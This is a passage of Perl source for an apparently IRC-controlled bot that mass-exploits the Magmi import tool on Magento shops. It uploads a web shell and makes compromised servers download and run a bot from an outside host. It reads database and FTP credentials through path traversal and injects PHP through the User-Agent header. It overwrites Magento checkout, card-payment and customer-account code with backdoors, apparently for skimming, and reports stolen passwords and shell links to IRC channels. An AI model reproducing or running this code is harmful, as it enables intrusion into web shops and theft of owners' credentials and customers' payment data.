  1660.         &msg("$admin","$mglogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."magmi/plugins/magnum/up.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2);
  1661.         #&msg("$nick","$mglogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."magmi/plugins/magnum/up.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2);
  1662.         &msg("$chaninfo","$mglogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."magmi/plugins/magnum/up.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2);
  1663.         #&inboxing("Mag Shell","http://".$site."magmi/plugins/magnum/up.php (SafeMode=".$safe.") (OS=".$os.") uid=".$uid."");sleep(2);
  1664.         &msg("$chanxxx","$mglogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site." Exploiting");sleep(2);
  1665.  
  1666.     }
  1667. }
  1668. sub magmi2_xpl() {
  1669.     my $ua = LWP::UserAgent->new;
  1670.     $ua->timeout(10);
  1671.     my $url    = $_[0];
  1672.     my $chan   = $_[1];
  1673.     my $site   = $_[2];
  1674.     my $engine = $_[3];
  1675.     my $nick = $_[4];
  1676.     my $count = 0;
  1677.     my $action = "http://".$site."/magmi/web/plugin_upload.php";
  1678.     my $update_file = "magnum.zip";
  1679.     my $exploit = $ua->post("$url", Content_Type => "multipart/form-data", Content => [action => "$action", plugin_package => ["$update_file"]]);
  1680.     my $status  = $exploit->as_string;
  1681.     my $check = &get_content("http://".$site."magmi/plugins/magnum/up.php");&get_content("http://".$site."magmi/plugins/magnum/up.php?cmd=cd%20/tmp%20;wget%20http://koso.swooop.sg/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  1682.     if ($check =~ /GIF89aGiam/) {
  1683.         my $safe = "";
  1684.         my $os = "";
  1685.         my $uid="";
  1686.         if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1687.         if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1688.         if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1689.         &msg("$admin","$mglogo(4@3$engine15)15(4@13SHeLL215)4 http://".$site."magmi/plugins/magnum/up.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2);
  1690.         #&msg("$nick","$mglogo(4@3$engine15)15(4@13SHeLL215)4 http://".$site."magmi/plugins/magnum/up.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2);
  1691.         &msg("$chaninfo","$mglogo(4@3$engine15)15(4@13SHeLL215)4 http://".$site."magmi/plugins/magnum/up.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2);
  1692.         #&inboxing("Mag Shell","http://".$site."magmi/plugins/magnum/up.php (SafeMode=".$safe.") (OS=".$os.") uid=".$uid."");sleep(2);
  1693.         &msg("$chanxxx","$mag2logo(4@3$engine15)15(4@13SHeLL215)4 http://".$site." Exploiting");sleep(2);
  1694.     }
  1695. }
  1696. sub magmi3_xpl() {
  1697.     my $ua = LWP::UserAgent->new;
  1698.     $ua->timeout(10);
  1699.     my $url    = $_[0];
  1700.     my $chan   = $_[1];
  1701.     my $site   = $_[2];
  1702.     my $engine = $_[3];
  1703.     my $nick = $_[4];
  1704.     my $count = 0;
  1705.     my $action = "http://".$site."/magmi/web/magmi.php";
  1706.     my $update_file = "magnum.zip";
  1707.     my $exploit = $ua->post("$url", Content_Type => "multipart/form-data", Content => [action => "$action", plugin_package => ["$update_file"]]);
  1708.     my $status  = $exploit->as_string;
  1709.     my $check = &get_content("http://".$site."magmi/plugins/magnum/up.php");&get_content("http://".$site."magmi/plugins/magnum/up.php?cmd=cd%20/tmp%20;wget%20http://koso.swooop.sg/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  1710.     if ($check =~ /GIF89aGiam/) {
  1711.         my $safe = "";
  1712.         my $os = "";
  1713.         my $uid="";
  1714.         if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1715.         if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1716.         if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1717.         &msg("$admin","$mglogo(4@3$engine15)15(4@13SHeLL315)4 http://".$site."magmi/plugins/magnum/up.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2);
  1718.         #&msg("$nick","$mglogo(4@3$engine15)15(4@13SHeLL315)4 http://".$site."magmi/plugins/magnum/up.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2);
  1719.         &msg("$chaninfo","$mglogo(4@3$engine15)15(4@13SHeLL315)4 http://".$site."magmi/plugins/magnum/up.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2);
  1720.         #&inboxing("Mag Shell","http://".$site."magmi/plugins/magnum/up.php (SafeMode=".$safe.") (OS=".$os.") uid=".$uid."");sleep(2);
  1721.         &msg("$chanxxx","$mglogo(4@3$engine15)15(4@13SHeLL315)4 http://".$site." Exploiting");sleep(2);
  1722.  
  1723.     }
  1724. }
  1725. sub magmi4_xpl() {
  1726.     my $ua = LWP::UserAgent->new;
  1727.     $ua->timeout(10);
  1728.     my $url    = $_[0];
  1729.     my $chan   = $_[1];
  1730.     my $site   = $_[2];
  1731.     my $engine = $_[3];
  1732.     my $nick = $_[4];
  1733.     my $count = 0;
  1734.     my $action = "http://".$site."/magmi/web/plugin_upload.php";
  1735.     my $update_file = "magnum.zip";
  1736.     my $exploit = $ua->post("$url", Content_Type => "multipart/form-data", Content => [action => "$action", plugin_package => ["$update_file"]]);
  1737.     my $status  = $exploit->as_string;
  1738.     my $check = &get_content("http://".$site."magmi/plugins/magnum/up.php");&get_content("http://".$site."magmi/plugins/magnum/up.php?cmd=cd%20/tmp%20;wget%20http://koso.swooop.sg/bot.log%20;%20rm%20-rf%20bot.log*");
  1739.     if ($check =~ /GIF89aGiam/) {
  1740.         my $safe = ""; my $os = "";
  1741.         my $safe = "";
  1742.         my $os = "";
  1743.         my $uid="";
  1744.         if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1745.         if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1746.         if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1747.         &msg("$admin","$mglogo(4@3$engine15)15(4@13SHeLL415)4 http://".$site."magmi/plugins/magnum/up.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2);
  1748.         #&msg("$nick","$mglogo(4@3$engine15)15(4@13SHeLL415)4 http://".$site."magmi/plugins/magnum/up.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2);
  1749.         &msg("$chaninfo","$mglogo(4@3$engine15)15(4@13SHeLL415)4 http://".$site."magmi/plugins/magnum/up.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2);
  1750.         #&inboxing("Mag Shell","http://".$site."magmi/plugins/magnum/up.php (SafeMode=".$safe.") (OS=".$os.") uid=".$uid."");sleep(2);
  1751.         &msg("$chanxxx","$mglogo(4@3$engine15)15(4@13SHeLL415)4 http://".$site." Exploiting");sleep(2);
  1752.     }
  1753. }
  1754.  
  1755. sub magmi5_xpl() {
  1756.     my $ua = LWP::UserAgent->new;
  1757.     $ua->timeout(10);
  1758.     my $url    = $_[0];
  1759.     my $chan   = $_[1];
  1760.     my $site   = $_[2];
  1761.     my $engine = $_[3];
  1762.     my $nick = $_[4];
  1763.     my $count = 0;
  1764.     my $action = "http://".$site."/magmi/web/download_file.php?file=../../app/etc/local.xml";
  1765.     my $ua = LWP::UserAgent->new;
  1766.     my $req = HTTP::Request->new(GET => $action);
  1767.     my $html = $ua->request($req)->content;
  1768.     #my $html  = &get_content($action);
  1769.     if ($html =~ /dbname/i) {
  1770.         my $serverIP   ="";
  1771.         if ($html =~ /<host><!\[CDATA\[(.*)\]\]\><\/host>/) {$serverIP=$1;}
  1772.         if ($html =~ /<username><!\[CDATA\[(.*)\]\]\><\/username>/){$user=$1;}
  1773.         if ($html =~ /<password><!\[CDATA\[(.*)\]\]\><\/password>/){$pass=$1;}
  1774.         if ($html =~ /<dbname><!\[CDATA\[(.*)\]\]\><\/dbname>/){$dbname=$1;}
  1775.         if ($html =~ /<frontName><!\[CDATA\[(.*)\]\]\><\/frontName>/){$logadmin=$1;}
  1776.         if ($html =~ /<key><!\[CDATA\[(.*)\]\]\><\/key>/){$key=$1;}
  1777.         &msg("$chanxxx","$mglogo 9http://".$site." 9[+]hostname: 9".$serverIP."9 [+]username: 9".$user." 9[+]password: 9".$pass." 9[+]dbname: 9".$dbname." Login : ".$logadmin." Key :".$key."");sleep(2);
  1778.         my $asu = "http://".$site."/phpmyadmin";
  1779.         my $jembut = &get_content($asu);
  1780.         if ($jembut =~ /<title>phpMyAdmin/){
  1781.             &msg("$admin","Phpmyadmin : $mglogo 9http://".$site." 9[+]hostname: 9".$serverIP."9 [+]username: 9".$user." 9[+]password: 9".$pass." 9[+]dbname: 9".$dbname." Login : ".$logadmin."");sleep(2);
  1782.             ##&msg("$nick","Phpmyadmin : $mglogo 9http://".$site." 9[+]hostname: 9".$serverIP."9 [+]username: 9".$user." 9[+]password: 9".$pass." 9[+]dbname: 9".$dbname." Login : ".$logadmin."");sleep(2);
  1783.             &msg("$chaninfo","Phpmyadmin : $mglogo 9http://".$site." 9[+]hostname: 9".$serverIP."9 [+]username: 9".$user." 9[+]password: 9".$pass." 9[+]dbname: 9".$dbname." Login : ".$logadmin."");sleep(2);
  1784.             #&inboxing("Mag Phpmyadmin","http://".$site." [+]hostname: ".$serverIP." [+]username: ".$user." [+]password: ".$pass." [+]dbname: ".$dbname." Login : ".$logadmin."");sleep(2);
  1785.         }
  1786.         if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];}
  1787.         my $ceklog = "ftp://".$usr.":".$pass."@".$site."";
  1788.         my $ceklog2 = "ftp://".$user.":".$pass."@".$site."";
  1789.         my $ftplog = &get_content($ceklog);sleep(2);
  1790.         my $ftplog2 = &get_content($ceklog2);sleep(2);
  1791.         if ($ftplog =~ /ftp/) {
  1792.             &msg("$admin","12[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass."");sleep(2);
  1793.             ##&msg("$nick","12[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass."");sleep(2);
  1794.             #&inboxing("Mag FTP","FTP[+] ftp://".$site." [+]username:".$usr." [+]password:".$pass."");sleep(2);
  1795.             &msg("$submitchan","12[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass."");
  1796.         }
  1797.         if ($ftplog2 =~ /ftp/) {
  1798.             &msg("$admin","12[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass."");sleep(2);
  1799.             #&msg("$nick","12[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass."");sleep(2);
  1800.             &msg("$submitchan","12[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass."");sleep(2);
  1801.             #&inboxing("Mag FTP","FTP[+] ftp://".$site." [+]username:".$user." [+]password:".$pass."");sleep(2);
  1802.             #&msg("$chanxxx","12[+]$mg2logo4$engine 12FTP[+]Success send To Admin");
  1803.         }
  1804.         my $hosts = "http://".$site;
  1805.         if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  1806.             $host = $2;
  1807.             if($serverIP eq "localhost" || $serverIP eq "127.0.0.1" || $serverIP eq "localhost:3306" || $serverIP eq "127.0.0.1:3306"){
  1808.             &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$mglogo,$key,$nick);sleep(2);
  1809.             }else{
  1810.             &dbi_connect($site,$serverIP,$user,$pass,$dbname,$chanxxx,$engine,$mglogo,$key,$nick);sleep(2);
  1811.             }
  1812.             if ($user =~ /_/) {
  1813.                 @users = split("_",$user); $user = $users[0];
  1814.                 &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo,$nick);sleep(2);
  1815.             } else {
  1816.             &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo,$nick);sleep(2);
  1817.             }
  1818.         }
  1819.     }
  1820. }
  1821.  
  1822. sub magmi6_xpl() {
  1823.     my $ua = LWP::UserAgent->new;
  1824.     $ua->timeout(10);
  1825.     my $url    = $_[0];
  1826.     my $chan   = $_[1];
  1827.     my $site   = $_[2];
  1828.     my $engine = $_[3];
  1829.     my $nick = $_[4];
  1830.     my $bug ='/magmi/web/ajax_pluginconf.php?plugintype=utilities&pluginclass=CustomSQLUtility&file=';
  1831.     my @dirc    = ("../../../../../../../../../../../../../../../../../../../../",
  1832.     "../../../../../../../../../../../../../../../../../../../",
  1833.     "../../../../../../../../../../../../../../../../../../",
  1834.     "../../../../../../../../../../../../../../../../../",
  1835.     "../../../../../../../../../../../../../../../../",
  1836.     "../../../../../../../../../../../../../../../",
  1837.     "../../../../../../../../../../../../../../",
  1838.     "../../../../../../../../../../../../../../",
  1839.     "../../../../../../../../../../../../../",
  1840.     "../../../../../../../../../../../../",
  1841.     "../../../../../../../../../../../",
  1842.     "../../../../../../../../../../",
  1843.     "../../../../../../../../../",
  1844.     "../../../../../../../../",
  1845.     "../../../../../../../",
  1846.     "../../../../../../",
  1847.     "../../../../../",
  1848.     "../../../../",
  1849.     "../../../",
  1850.     "../../",
  1851.     "../");
  1852.     my $dir = $dirc[rand(scalar(@dirc))];
  1853.     my $test = "http://".$site.$bug.$dir."/proc/self/environ";
  1854.     my $vuln = "http://".$site.$bug.$dir."/etc/passwd";
  1855.     my $shell = "http://".$site.$bug.$dir."/tmp/k4l0nk";
  1856.     my $shell2 = "http://".$site.$bug.$dir."/tmp/dev";
  1857.  
  1858.     my $html  = &get_content($test);
  1859.              if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) {
  1860.                  if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1861.                      my $code = 'echo "c0li#".php_uname()."#c0li".get_current_user();if(@copy("'.$gento.'","/tmp/k4l0nk")){ echo "SUCCESS";@copy("'.$gento2.'","/tmp/dev");@copy("'.$gento.'","/tmp/k4l0nk");@copy("'.$gento2.'","../../dev.php");@copy("'.$onepagebd.'","../../app/code/core/Mage/Checkout/Model/Type/Onepage.php");@copy("'.$ccvbd.'","../../app/code/core/Mage/Payment/Model/Method/Cc.php");@copy("'.$cusbd.'","../../app/code/core/Mage/Customer/controllers/AccountController.php");@copy("'.$botshell2.'","/tmp/log");}';
  1862.                      my $res = lfi_env_query($test,encode_base64($code));
  1863.                      &lfi_spread_query($test);
  1864.                      &get_content("http://".$site.$bug.$dir."/tmp/dev");
  1865.                      &get_content("http://".$site.$bug.$dir."/tmp/k4l0nk");
  1866.                      &get_content("http://".$site."/dev.php");
  1867.                      &get_content("http://".$site.$bug.$dir."/tmp/log");
  1868.                      $res =~ s/\n//g;
  1869.                      if ($res =~ /c0li#(.*)#c0li(.*)SUCCESS/sg) {
  1870.                          my $sys = $1;
  1871.                      $nob0dy = $2;
  1872.                      &msg("$chan","$mglogo 13 Selamatt Yaaa... ^_^ 4<9=".$sys."4>");
  1873.                      #&msg("$nick","$mglogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2);
  1874.                      &msg("$admin","$mglogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2);
  1875.                      &msg("$chaninfo","$mglogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2);
  1876.                      #&inboxing("Mag Shell","".$shell." or ".$shell2."");sleep(2);
  1877.                  }
  1878.                      elsif ($res =~ /c0li#(.*)#c0li(.*)/sg) {
  1879.                      if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1880.                          my $sys = $1;
  1881.                          $nob0dy = $2;
  1882.                          my $upload = 'system("killall -9 perl;killall -9 php;wget http://koso.swooop.sg/k4l0nk.jpg;mv k4l0nk.jpg k4l0nk.php;wget http://koso.swooop.sg/up.jpg;mv up.jpg up.php;wget http://koso.swooop.sg/c.jpg;perl c.jpg;mv k4l0nk.jpg k4l0nk.php;wget '.$gento.' -O cok.php;fetch '.$gento.';mv k4l0nk.jpg k4l0nk.php;");passthru("killall -9 perl;killall -9 php;wget '.$gento.' -O images.php;fetch '.$gento2.';mv up.jpg images2.php;");';
  1883.                          my $wget = lfi_env_query($test,encode_base64($upload)); sleep(2);
  1884.                          my $check = &get_content("http://".$site.$bug.$dir."/tmp/k4l0nk"); sleep(2);
  1885.                          &get_content("http://".$site.$bug.$dir."/tmp/dev");sleep(2);
  1886.                          &get_content("http://".$site.$bug.$dir."/tmp/k4l0nk");sleep(2);
  1887.                          if ($check =~ /k4l0nk/i) {
  1888.                              &msg("$chan","$mglogo4TARGET1 12SEND 3TO 13$nick Selamatt Yaaa... ^_^ 4<9=".$sys."4>");
  1889.                              #&msg("$nick","$mglogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2);
  1890.                              &msg("$admin","$mglogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2."15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2);
  1891.                               &msg("$chaninfo","$mglogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2."15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2);
  1892.                              #&inboxing("Mag Shell","".$shell." or ".$shell2."");sleep(2);
  1893.                          }
  1894.                          else {
  1895.                              &msg("$chan","$mglogo(4@3$engine4)15(4@9SysTem4)7 ".$site." 15(4@3".$sys."15))15(4@9$nob0dy15)");sleep(2);
  1896.                          }
  1897.                      } exit; }
  1898.                  }
  1899.                  else {
  1900.                 #&msg("$chan","$mglogo(4@3$engine4)4(4@9EnviRon4)10 ".$vuln);
  1901.                  }
  1902.              } exit;
  1903.     }
  1904. }
  1905. }
  1906.  
  1907. sub lfi_env_query() {
  1908.     my $url = $_[0];
  1909.     my $code = $_[1];
  1910.     my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".$code."'));?>");
  1911.     $ua->timeout(10);
  1912.     my $req = HTTP::Request->new(GET => $url);
  1913.     my $res = $ua->request($req);
  1914.     return $res->content;
  1915. }
  1916.  
  1917. sub lfi_spread_query() {
  1918.     my $url = $_[0];
  1919.     my $code = "system('cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$spread.";php spread.txt;rm -rf melan.jpg;wget ".$injector.";mv b.txt byz.php;rm -rf melan.jpg;
  1920.     curl -O ".$botshell.";perl c.jpg;rm -rf c.jpg;lwp-download ".$jem.";perl lula.txt;rm-rf lula.txt;fetch ".$botshell2.";php bot.log;rm -rf bot.log;wget ".$botshell2.";php bot.log;rm -rf bot.log;curl -O ".$botshell2.";php bot.log;rm -rf bot.log;lwp-download ".$botshell2.";php bot.log;cd /var/tmp;fetch ".$botshell.";pel c.jpg;rm -rf melan.jpg;wget ".$botshell.";perl c.jpg;rm -rf c.jpg;curl -O ".$botshell.";perl c.jpg;rm -rf c.jpg;lwp-download ".$botshell.";perl c.jpg;fetch ".$botshell2.";php bot.log;rm -rf bot.log;wget ".$botshell2.";php bot.log;rm -rf bot.log;curl -O ".$botshell2.";php bot.log;rm -rf bot.log;lwp-download ".$botshell2.";php bot.log;rm -rf *.txt*;');";
  1921.     my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".encode_base64($code)."'));?>");
  1922.     $ua->timeout(10);
  1923.     my $req = HTTP::Request->new(GET => $url);
  1924.     my $res = $ua->request($req);
  1925. }
  1926.  
  1927. sub magmi7_xpl() {
  1928.     my $ua = LWP::UserAgent->new;
  1929.     $ua->timeout(10);
  1930.     my $url    = $_[0];
  1931.     my $chan   = $_[1];
  1932.     my $site   = $_[2];
  1933.     my $engine = $_[3];
  1934.     my $nick = $_[4];
  1935.     my $count = 0;
  1936.     my $action = "http://".$site."/magmi/web/download_file.php?file=../../../.my.cnf";
  1937.     my $ua = LWP::UserAgent->new;
  1938.     my $req = HTTP::Request->new(GET => $action);
  1939.     my $html = $ua->request($req)->content;
  1940.     #my $html  = &get_content($action);
  1941.     my $user = ""; my $pass = "";
  1942.     if ($html =~ /[client]/i) {
  1943.         my $serverIP   ="";my $user = ""; my $pass = "";
  1944.         if ($html =~ /user=(.*)/){
  1945.             my $user=$1;
  1946.             if ($user =~ /\'/i){$user =~ s/'//g;}
  1947.             if ($user =~ /\"/i){$user =~ s/"//g;}
  1948.         }
  1949.         if ($html =~ /password=(.*)/){
  1950.             my $pass=$1;
  1951.                     if ($pass =~ /\'/i){$pass =~ s/'//g;}
  1952.             if ($pass =~ /\"/i){$pass =~ s/"//g;}
  1953.         }
  1954.         if($user && $pass){
  1955.         #&msg("$chaninfo","CPANEL mycfg $mglogo 9http://".$site." [+]username: 9".$user." 9[+]password: 9".$pass."");sleep(2);
  1956.         my $hosts = "http://".$site;
  1957.         if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  1958.             $host = $2;
  1959.             &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo,$nick);sleep(2);
  1960.         }
  1961.         }
  1962.     }
  1963. }
  1964.  
  1965.  
  1966.  
  1967. sub magmi8_xpl() {
  1968. my $ua = LWP::UserAgent->new;
  1969. $ua->timeout(10);
  1970. my $url    = $_[0];
  1971. my $chan   = $_[1];
  1972. my $site   = $_[2];
  1973. my $engine = $_[3];
  1974. my $nick = $_[4];
  1975. my $count = 0;
  1976. my $action = "http://".$site."/magmi/conf/magmi.ini";
  1977. my $ua = LWP::UserAgent->new;
  1978. my $req = HTTP::Request->new(GET => $action);
  1979. my $html = $ua->request($req)->content;
  1980. #my $html  = &get_content($action);
  1981.     if ($html =~ /[DATABASE]/i) {
  1982.         my $serverIP   ="";
  1983.         if ($html =~ /user = "(.*)"/){$user=$1;}
  1984.         if ($html =~ /password = "(.*)"/){$pass=$1;}
  1985.         if ($html =~ /dbname = "(.*)"/){$dbname=$1;}
  1986.         if ($html =~ /host = "(.*)"/){$host=$1;}
  1987.         #&msg("$chanxxx","CPANEL $mglogo 9http://".$site." [+]username: 9".$user." 9[+]password: 9".$pass."");sleep(2);
  1988.         my $hosts = "http://".$site;
  1989.         my $hostes = $host;
  1990.         if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  1991.             $host = $2;
  1992.             if($hostes eq "localhost" || $hostes eq "127.0.0.1" || $hostes eq "localhost:3306" || $hostes eq "127.0.0.1:3306"){
  1993.                     &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$mglogo,"",$nick);sleep(2);
  1994.                     }else{
  1995.                     &dbi_connect($site,$hostes,$user,$pass,$dbname,$chanxxx,$engine,$mglogo,"",$nick);sleep(2);
  1996.             }
  1997.       if ($user =~ /_/) {
  1998.             @users = split("_",$user); $user = $users[0];
  1999.                     &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo,$nick);sleep(2);
  2000.           } else {
  2001.           &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo,$nick);sleep(2);
  2002.           }
  2003.         }
  2004.     }
  2005. }
  2006.  
  2007. sub magmi9_xpl() {
  2008.     my $ua = LWP::UserAgent->new;
  2009.     $ua->timeout(10);
  2010.     my $url    = $_[0];
  2011.     my $chan   = $_[1];
  2012.     my $site   = $_[2];
  2013.     my $engine = $_[3];
  2014.     my $nick = $_[4];
  2015.     my $count = 0;
  2016.     my $action = "http://".$site."/magmi/web/download_file.php?file=../../downloader/connect.cfg";
  2017.     my $ua = LWP::UserAgent->new;
  2018.     my $req = HTTP::Request->new(GET => $action);
  2019.     my $html = $ua->request($req)->content;
  2020.     #my $html  = &get_content($action);
  2021.     if ($html =~ /ftp/i) {
  2022.         my $serverIP   ="";
  2023.         if ($html =~ /"ftp:\/\/(.*)"/){$ftp=$1;}
  2024.         if ($ftp){
  2025.         #&msg("$chanxxx","FTP $mglogo 9http://".$site." [+] Log FTP: 9 Checking");sleep(2);
  2026.         &msg("$admin","FTP $mglogo 9http://".$site." [+] Log FTP: 9".$ftp."");sleep(2);
  2027.         #&msg("$nick","FTP $mglogo 9http://".$site." [+] Log FTP: 9".$ftp."");sleep(2);
  2028.         &msg("$submitchan","FTP $mglogo 9http://".$site." [+] Log FTP: 9".$ftp."");sleep(2);
  2029.         #&inboxing("Mag FTPlog","http://".$site." [+] Log FTP: ".$ftp."");sleep(2);
  2030.         my $cekftps = $ftp;
  2031.                 if($cekftps =~ /(.*?):(.*?)@(.*?)\//){
  2032.                 my $fuser = $1;
  2033.                 my $fpass = $2;
  2034.                 my $fhost = $3;
  2035.                 &msg("$admin","FTP $mglogo 9http://".$site." [+] Log FTP: 9host : ".$fhost." user : ".$fuser." pass : ".$fpass."");sleep(2);
  2036.                 &msg("$submitchan","FTP $mglogo 9http://".$site." [+] Log FTP: 9host : ".$fhost." user : ".$fuser." pass : ".$fpass."");sleep(2);
  2037.                 if($fhost eq "localhost" || $fhost eq "127.0.0.1" || $fhost eq "localhost:21" || $fhost eq "127.0.0.1:21"){
  2038.                 $hosts = $site;
  2039.         if ($hosts =~ /\//i){$hosts =~ s/\///g;}
  2040.         &msg("$submitchan","Checking FTP $mglogo 9http://".$site." [+] Log FTP: 9host : ".$hosts." user : ".$fuser." pass : ".$fpass."");sleep(2);
  2041.                 &ftpmy_connect($site,$hosts,$fuser,$fpass,$chanxxx,$engine,$mglogo,$nick);sleep(2);
  2042.                 } else {
  2043.                 &msg("$submitchan","Checking FTP $mglogo 9http://".$site." [+] Log FTP: 9host : ".$fhost." user : ".$fuser." pass : ".$fpass."");sleep(2);
  2044.                 &ftpmy_connect($site,$fhost,$fuser,$fpass,$chanxxx,$engine,$mglogo,$nick);sleep(2);
  2045.                 }
  2046.     }
  2047.     }
  2048. }
  2049. }
  2050.  
  2051. sub magmi10_xpl() {
  2052.     my $ua = LWP::UserAgent->new;
  2053.     $ua->timeout(10);
  2054.     my $url    = $_[0];
  2055.     my $chan   = $_[1];
  2056.     my $site   = $_[2];
  2057.     my $engine = $_[3];
  2058.     my $nick = $_[4];
  2059.     my $count = 0;
  2060.     my $action = "http://".$site."/magmi/web/download_file.php?file=../../../../.my.cnf";
  2061.     my $ua = LWP::UserAgent->new;
  2062.     my $req = HTTP::Request->new(GET => $action);
  2063.     my $html = $ua->request($req)->content;
  2064.     #my $html  = &get_content($action);
  2065.     if ($html =~ /[client]/i) {
  2066.         my $serverIP   ="";my $user = ""; my $pass = "";
  2067.         if ($html =~ /user=(.*)/){
  2068.             my $user=$1;
  2069.             if ($user =~ /\'/i){$user =~ s/'//g;}
  2070.             if ($user =~ /\"/i){$user =~ s/"//g;}
  2071.         }
  2072.         if ($html =~ /password=(.*)/){
  2073.             my $pass=$1;
  2074.                     if ($pass =~ /\'/i){$pass =~ s/'//g;}
  2075.             if ($pass =~ /\"/i){$pass =~ s/"//g;}
  2076.         }
  2077.         if($user && $pass){
  2078.         #&msg("$chaninfo","CPANEL mycfg $mglogo 9http://".$site." [+]username: 9".$user." 9[+]password: 9".$pass."");sleep(2);
  2079.         my $hosts = "http://".$site;
  2080.         if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  2081.             $host = $2;
  2082.             &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo,$nick);sleep(2);
  2083.         }
  2084.         }
  2085.     }
  2086. }
  2087.  
  2088. sub magmi11_xpl() {
  2089.     my $ua = LWP::UserAgent->new;
  2090.     $ua->timeout(10);
  2091.     my $url    = $_[0];
  2092.     my $chan   = $_[1];
  2093.     my $site   = $_[2];
  2094.     my $engine = $_[3];
  2095.     my $nick = $_[4];
  2096.     my $count = 0;
  2097.     my @dirc    = ("../../../../../../../",
  2098.     "../../../../../../",
  2099.     "../../../../../",
  2100.     "../../../../",
  2101.     "../../../",
  2102.     "../../");
  2103.     foreach my $dir (@dirc)  {
  2104.     #my $dir = $dirc[rand(scalar(@dirc))];
  2105.     my $bugs = "/magmi/web/download_file.php?file=";
  2106.     my $action = "http://".$site.$bugs.$dir.".my.cnf";
  2107.     my $ua = LWP::UserAgent->new;
  2108.     my $req = HTTP::Request->new(GET => $action);
  2109.     my $html = $ua->request($req)->content;
  2110.     #my $html  = &get_content($action);
  2111.     my $user = ""; my $pass = "";
  2112.     if ($html =~ /[client]/i) {
  2113.         my $serverIP   ="";
  2114.         if ($html =~ /user=(.*)/){
  2115.             my $user=$1;
  2116.             if ($user =~ /\'/i){$user =~ s/'//g;}
  2117.             if ($user =~ /\"/i){$user =~ s/"//g;}
  2118.         }
  2119.         if ($html =~ /password=(.*)/){
  2120.             my $pass=$1;
  2121.                     if ($pass =~ /\'/i){$pass =~ s/'//g;}
  2122.             if ($pass =~ /\"/i){$pass =~ s/"//g;}
  2123.         }
  2124.         if($user && $pass){
  2125.         #&msg("$chaninfo","CPANEL mycfg $mglogo 9http://".$site." [+]username: 9".$user." 9[+]password: 9".$pass."");sleep(2);
  2126.         my $hosts = "http://".$site;
  2127.         if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  2128.             $host = $2;
  2129.             &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo,$nick);sleep(2);
  2130.         }
  2131.         }
  2132.     }
  2133.     }
  2134. }
  2135.  
  2136.  
